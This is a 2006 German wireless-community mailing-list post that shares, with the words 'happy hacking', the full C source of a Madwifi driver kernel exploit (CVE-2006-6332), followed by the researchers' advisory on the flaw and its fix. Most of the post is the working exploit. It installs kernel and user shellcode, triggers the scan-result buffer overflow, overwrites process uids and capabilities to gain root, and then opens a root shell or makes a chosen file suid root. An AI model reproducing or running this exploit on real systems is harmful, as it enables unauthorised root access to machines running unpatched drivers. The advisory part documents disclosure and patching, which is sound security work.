[Berlin-wireless] Fehler im Madwifi-Treiber
Florian Walther
florian.walther
Fr Dez 8 15:00:10 CET 2006
Wen es interessiert, hier ist der passende exploit (und weitere
technische Informationen) dazu, happy hacking
Am 08.12.06 schrieb Marlen Caemmerer <nosy at c-base.org>:
>
> http://www.heise.de/netze/news/meldung/82209/from/rss09
/~flow
--
0x417E9C18
556C BCFF 9118 8915 835B C2C2 3756 3407 417E 9C18
<http://pgp.mit.edu:11371/pks/lookup?search=0x417E9C18&op=index>
skype:florian.walther
-------------- nächster Teil --------------
/* Madwifi giwscan_cb buffer overflow local kernel exploit
*
* CVE-2006-6332
*
* (C) 2006 Julien TINNES and Laurent BUTTI
*
* Use this local exploit in conjonction with the metasploit module
*
* The vulnerable function is called when asking for scan result (which you can do
* without privileges).
* However you need to wait for your card to scan for access point before this exploit can be successfull.
*
* The best way to test this exploit is:
* 1. start the metasploit module on another machine
* 2. Bring your card up. (e.g. ifconfig ath0 up)
* 3. ./madexploit
*
* This will always work because the card will automatically start scanning for APs when your
* bring it up.
* For testing purpose you can also launch this exploit as root, It'll automatically issue a
* scanning request.
* There are also ways to remotely make the card start scanning for APs. Will you find them ?
*
* Use -s if your kernel uses 4K stacks
* Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message
*
* This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing
*
* TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the BUG()s)
*
* Version 0.5
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <stdint.h>
#include <getopt.h>
// #include "iwlib.h"
/* defs from wireless.h and iwlib.h */
#define IW_SCAN_MAX_DATA 4096
#ifndef __user
#define __user
#endif
#define NOPS 0x90909090
#define TASK_SIZE 0xC0000000
#define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */
#define SIOCGIWSCAN 0x8B19 /* get scanning results */
struct iw_point
{
void __user *pointer; /* Pointer to the data (in user space) */
__u16 length; /* number of fields or size in bytes */
__u16 flags; /* Optional params */
};
union iwreq_data
{
struct iw_point data; /* Other large parameters */
};
struct iwreq
{
union
{
char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */
} ifr_ifrn;
/* Data part (defined just above) */
union iwreq_data u;
};
#define IFNAME "ath0"
/* This magic address will pass encode_ie in madwifi
* '3' is 0x33! */
#define KSCADDR 0x33333333
#define USCADDR 0x50000000
/* stringification */
#define xstr(s) str(s)
#define str(s) #s
#define KSTACKADDR 0x60000100
#define PGS (4096)
/* 4046 if 4K STACK is defined */
#define THREAD_SIZE (8192)
#define THREAD_SIZE8K (8192)
#define THREAD_SIZE4K (4096)
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define patchsc_with_addr(sc, addr) \
do { \
*((void (**)())(sc+1))=addr;\
} while (0)
void *installsc(void *scaddr, void *sh, unsigned int len);
void *getsc(char *filename, uint32_t *len);
//_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto);
// jmp -2
//static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe";
// mov [0], eax
//static char sc[]="\xA3\x00\x00\x00\x00";
// exit(42);
//static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80";
// mov eax, 0x01020304; jmp eax
char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0";
uid_t puid;
int noexit=0;
char *chmodfile=NULL;
char chmodname[1024];
unsigned int stackheur=0;
char *ifname=IFNAME;
struct task_struct;
typedef struct {
unsigned long seg;
} mm_segment_t;
mm_segment_t addr_limit;
/* thread_info.h */
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
unsigned long flags; /* low level flags */
unsigned long status; /* thread-synchronous flags */
__u32 cpu; /* current CPU */
int preempt_count; /* 0 => preemptable, <0 => BUG */
mm_segment_t addr_limit;
/* continued */
};
int sys_ioctl(int d, int request, struct iwreq *toto)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)),
"d" ((long)(toto)) : "memory");
__syscall_return(int,__res);
}
struct iretstack {
uint32_t eip;
uint32_t cs;
uint32_t eflags;
uint32_t esp;
uint32_t ss;
} __attribute__((packed));
void build_iretstack(struct iretstack *dest, uint32_t eip) {
dest->eip=eip;
asm("xorl %0, %0\n"
"mov %%cs, %0\n"
"pushf\n"
"pop %%esi\n"
"movl %%esi, %1\n"
"movl %%esp, %2\n"
"xorl %3, %3\n"
"mov %%ss, %3\n"
: "=r" (dest->cs), "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss)
:
: "esi"
);
}
/* userland function, called after ksc_func */
void usc_func(void) {
int ret;
printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg);
if (getuid() == 0) {
printf("[+] Success\n");
if (chmodfile != NULL) {
ret=chown(chmodfile, 0, 0);
if (ret == -1) {
perror("chown");
exit(1);
} else
ret=chmod(chmodfile, 04755);
if (ret == -1) {
perror("chmod");
exit(1);
}
if (noexit) {
printf("[+] Sleeping forever\n");
while(1)
sleep(10);
} else
/* we may BUG() here... */
exit(0);
} else
execlp("/bin/sh", "sh", NULL);
} else {
printf("[-] Failure\n");
exit(42);
}
}
static inline struct thread_info *current_thread_info(__u32 tsize) {
struct thread_info *ti;
//__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1)));
return ti;
}
/* Our kernel mode function */
void ksc_func(void) {
uid_t *tsk;
/* Lame heuristic to try and detect 4K stacks */
if (stackheur) {
addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg;
if (addr_limit.seg == TASK_SIZE)
tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task);
else
tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
} else {
addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg;
tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
}
/* look for uid,euid,suid,fsuid */
while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) )
tsk++;
/* patch uids and gids */
//tsk[0]=tsk[1]=tsk[2]=tsk[3]=0;
memset(tsk, 0, 8*sizeof(uid_t));
/* patch capabilities */
tsk+=9;
memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t));
asm(".intel_syntax noprefix\n"
"sti\n"
"mov esp, " xstr(KSTACKADDR) "\n"
"iret\n"
".att_syntax noprefix\n");
}
int main(int argc, char **argv) {
int skfd, counter=0;
struct iwreq wrq;
unsigned char *buffer = NULL; /* Results */
int buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */
printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n"
"(C) 2006 Julien TINNES and Laurent BUTTI\n\n");
/* support -c on self */
if (( geteuid() == 0) && (getuid() !=0)) {
setuid(0);
setgid(0);
execlp("/bin/sh", "sh", NULL);
}
for (;;) {
int option_index = 0, c;
static struct option long_options[] =
{
{"stackheur", 0, 0, 's'},
{"help", 0, 0, 'h'},
{"interface", 1, 0, 'i'},
{"chown/chmod", 1, 0, 'c'},
{"noexit", 1, 0, 'n'},
{0,0,0,0}
};
c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index);
if (c == -1)
break;
switch (c)
{
case 0:
printf("This case should'nt happen\n");
break;
case 's':
printf("[+] Using stack heuristic \n");
stackheur=1;
break;
case 'i':
ifname=optarg;
break;
case 'c':
if ( (strlen(optarg)+1) > sizeof(chmodname))
exit(1);
/* We better not rely on the stack */
strcpy(chmodname, optarg);
chmodfile=chmodname;
printf("[+] chmod/chown %s if success\n", chmodfile);
break;
case 'n':
noexit=1;
break;
case 'h':
case '?':
default:
printf("Usage %s [options]\n\n"
"Options:\n"
"-s\t Use heuristic to determine kernel stack size\n"
"-i <iface>\t Use interface 'iface'\n"
"-c <file>\t Make 'file' suid root\n"
"-n\tdo not exit after chown/chmod\n"
, argv[0]);
exit(1);
}
}
puid=getuid();
printf("[+] Using interface %s\n", ifname);
/* install kernel shellcode */
//scmap=getsc("ksc", &sclen);
patchsc_with_addr(sc, ksc_func);
//if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) {
if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) {
perror("installksc");
exit(1);
}
printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR);
/* install user shellcode */
//scmap=getsc("usc", &sclen);
patchsc_with_addr(sc, usc_func);
//if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) {
if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) {
perror("installusc");
exit(1);
}
printf("[+] User shellcode installed at 0x%X\n", USCADDR);
/* allocate space for kernel stack */
if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) {
perror("installkstack");
exit(1);
}
/* This is a lame workaround to prevent giwscan_cb from crashing
* before returning. We create two pages so that structure pointers
* can be recursively dereferenced.
* A proper exploit should not do that :) */
/* allocate self-dereferencable page */
if (installsc((void *) NOPS, "", 0) == MAP_FAILED) {
perror("self-deref-page");
exit(1);
}
if (installsc((void *) 0, "", 0) == MAP_FAILED) {
perror("self-deref-page");
exit(1);
}
bzero(NULL, PGS);
assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack));
build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR);
printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip);
/* trigger vulnerable function */
buffer = malloc(buflen);
if (!buffer) {
perror("malloc");
exit(1);
}
/* Initialize wrq */
wrq.u.data.pointer = NULL;
wrq.u.data.flags = 0;
wrq.u.data.length = 0;
strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) {
perror("[-] ioctl SIOCSIWSCAN");
printf(" -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the process)\n");
} else {
printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n");
}
/* Initialize wrq */
wrq.u.data.pointer = buffer;
wrq.u.data.flags = 0;
wrq.u.data.length = buflen;
while (1) {
printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", counter++);
if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
//if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
perror("[-] ioctl SIOCGIWSCAN");
exit(1);
}
sleep(1);
}
return 0;
}
/* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */
void *installsc(void *scaddr, void *sh, unsigned int len) {
void *scpt;
assert(getpagesize() == PGS);
/* allocate one extra page which will be filled by nops */
scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0);
if (scpt == MAP_FAILED) {
perror("mmap");
return scpt;
}
/* fill first page with nops */
memset(scpt, NOPS, PGS);
/* and copy shellcode */
memcpy(scpt+PGS, sh, len);
return scpt;
}
/* map shellcode found in filename in memory, return its address */
void *getsc(char *filename, uint32_t *len) {
int scfd;
void *scmap;
struct stat scstat;
scfd=stat(filename, &scstat);
if (scfd == -1) {
perror("stat");
exit(1);
}
*len=scstat.st_size;
scfd=open(filename, O_RDONLY);
if (scfd == -1) {
perror("open");
exit(1);
}
scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0);
if (scmap == MAP_FAILED) {
perror("mmap");
exit(1);
}
return scmap;
}
-------------- nächster Teil --------------
Ein Dateianhang mit Binärdaten wurde abgetrennt...
Dateiname : madwifi_giwscan_cb.rb
Dateityp : application/octet-stream
Dateigröße : 4278 bytes
Beschreibung: nicht verfügbar
URL : http://lists.olsrexperiment.de/cgi-bin/mailman/private/berlin/attachments/20061208/4549850d/attachment.obj
-------------- nächster Teil --------------
Name: Madwifi SIOCGIWSCAN buffer overflow
Vendor: http://www.madwifi.org
Release date: December, 7th 2006
CVE ID: CVE-2006-6332
Authors: Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES
1. Description
There is a buffer overflow in the madwifi Atheros driver in some
functions called by SIOCSIWSCAN ioctl.
This issue is remotely exploitable because ioctl SIOCSIWSCAN may be
called automatically by some connexion managers (either directly, by
using iwlib or by calling iwlist) when trying to get a list of nearby
access points.
2. Details
There is a stack buffer overflow in both the giwscan_cb() and
encode_ie() functions (ieee80211_wireless.c). The first issue, in
giwscan_cb, is related with insufficient checks on the length in some
802.11 information elements which are controlled by the attacker:
memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2);
The second issue is improper boundary checks in encode_ie() where ielen
is never checked with bufsize.
for (i = 0; i < ielen && bufsize > 2; i++)
p += sprintf(p, "%02x", ie[i]);
A properly crafted 802.11 beacon or probe response frame will trigger
the bug when a process tries to get scanning results by calling ioctl
SIOCGIWSCAN. The information element used by the attacker can be either
WPA IE, RSN IE, WMM IE or ATH IE and will lead to a kernel stack
overflow.
3. Vendor status
The vendor was notified on December, 6th 2006 and issued version 0.9.2.1
to correct the issue.
4. Authors
Laurent BUTTI <laurent.butti at francetelecom.com>
Jerome RAZNIEWSKI <jerome.razniewski at francetelecom.com>
Julien TINNES <julien.tinnes at francetelecom.com>
-------------- nächster Teil --------------
_______________________________________________
Berlin mailing list
Berlin at olsrexperiment.de
https://www.olsrexperiment.de/cgi-bin/mailman/listinfo/berlin
Mehr Informationen über die Mailingliste Berlin